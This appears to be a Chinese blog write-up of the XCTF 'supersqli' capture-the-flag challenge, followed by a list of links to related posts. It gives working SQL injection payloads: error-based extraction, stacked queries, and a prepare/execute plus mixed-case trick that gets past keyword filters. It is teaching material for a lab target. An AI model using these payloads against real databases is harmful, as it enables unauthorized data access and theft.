• XCTF-supersqli


    supersqli

    进来有个输入框,看内容应该是var_dump了sql查询结果

    单引号有报错,万能语句能用,注释符#没被ban

    打了个union select,给提示ban了一堆关键字,而且忽略大小写

    想了下,想到一个

    之前做过一道php的题,利用的是preg_match的一个特性,它在匹配后会转换unicode,所以把select转换成unicode编码传入就可以了

    回显已经转义,但还是会一直报错,猜测是unicode编码里的#影响了代码的执行

    试试报错注入1' or extractvalue(rand(),concat(0x7e,database())) #

    能爆出库名supersqli

    然后在搜bypass的时候看到了堆叠注入

    想了下刚好可以用堆叠

    0'; use supersqli; show tables;,爆出表名

    0'; use supersqli; show columns from `1919810931114514`; #

    爆出字段名

    最后查flag难住了,不知道怎么绕

    去看了wp,这里要用sql的预编译

    sql预编译的语法

    set 设置查询语句

    prepare 进行编译并命名

    execute 执行

    0'; set @sql=concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqili; #

    还有个strstr过滤

    strstr不能区分大小写,混写一下就可以了

    payload

    0';sEt @sql=concat('se','lect * from `1919810931114514`;');pRepare sqli from @sql;execute sqli;

    安利这篇write up,比我写的好n倍

    收获姿势:

    • 堆叠注入+预编译绕过select被ban
    • 大小写混合绕过strstr
  • 相关阅读:
    四十四 常用内建模块 struct
    四十三 常用内建模块 base64
    Django Haystack 全文检索与关键词高亮
    python实现简单tftp(基于udp)
    多线程socket UDP收发数据
    Python 线程复习
    python 进程复习
    python pdb 调试
    Linux 复习
    Django 博客
  • 原文地址:https://www.cnblogs.com/R3col/p/12699525.html
Copyright © 2020-2023  润新知